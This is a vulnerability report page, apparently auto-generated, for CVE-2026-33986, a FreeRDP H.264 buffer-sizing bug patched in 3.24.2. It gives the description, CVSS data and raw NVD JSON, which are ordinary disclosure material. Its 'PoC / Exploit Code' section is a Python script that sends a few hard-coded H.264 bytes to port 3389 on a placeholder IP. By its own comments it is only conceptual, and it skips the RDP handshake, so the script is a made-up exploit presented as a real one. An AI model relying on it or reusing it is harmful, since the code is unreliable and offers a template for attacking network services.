Security Vulnerability Report
中文
CVE-2026-33986 CVSS 7.5 HIGH

CVE-2026-33986

Published: 2026-03-30 22:16:20
Last Modified: 2026-04-01 19:48:33

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, in yuv_ensure_buffer() in libfreerdp/codec/h264.c, h264->width and h264->height are updated before the reallocation loop. If any winpr_aligned_recalloc() call fails, the function returns FALSE but width/height are already inflated. This issue has been patched in version 3.24.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.24.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33986 (FreeRDP Memory Allocation Logic Error) # This script demonstrates how a malformed H.264 stream could trigger the vulnerability. # It sends crafted data to a target FreeRDP client/server to cause allocation failure. import socket import struct def build_malformed_h264_packet(): """ Builds a fake H.264 packet with dimensions intended to trigger the logic error in yuv_ensure_buffer where width/height updates precede the allocation check. """ # Simulate H.264 NAL unit header nalu_header = b"\x00\x00\x00\x01\x67" # Insert payload that implies a large resolution change # forcing recalloc, which we aim to fail or exploit. # This is a conceptual representation. sps_data = b"\x42\xc0\x1e\xff" payload = nalu_header + sps_data return payload def send_exploit(target_ip, target_port): print(f"[*] Connecting to {target_ip}:{target_port}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # In a real scenario, a full RDP handshake (X.224, MCS, etc.) is required first. # This assumes a connection context where we can inject channel data. exploit_data = build_malformed_h264_packet() print("[*] Sending malformed H264 stream...") sock.send(exploit_data) print("[*] Payload sent. Check target for crash.") sock.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Replace with actual target details send_exploit("192.168.1.10", 3389)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33986", "sourceIdentifier": "[email protected]", "published": "2026-03-30T22:16:19.870", "lastModified": "2026-04-01T19:48:32.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, in yuv_ensure_buffer() in libfreerdp/codec/h264.c, h264->width and h264->height are updated before the reallocation loop. If any winpr_aligned_recalloc() call fails, the function returns FALSE but width/height are already inflated. This issue has been patched in version 3.24.2."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.24.2, en yuv_ensure_buffer() en libfreerdp/codec/h264.c, h264-&gt;width y h264-&gt;height se actualizan antes del bucle de reasignación. Si alguna llamada a winpr_aligned_recalloc() falla, la función devuelve FALSE pero width/height ya están inflados. Este problema ha sido parcheado en la versión 3.24.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-131"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.2", "matchCriteriaId": "03FF152C-C651-4586-8958-1555D9797516"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/f6e43e208958140074ae9bb93cd0c9045a371c77", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h6qw-wxvm-hf97", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}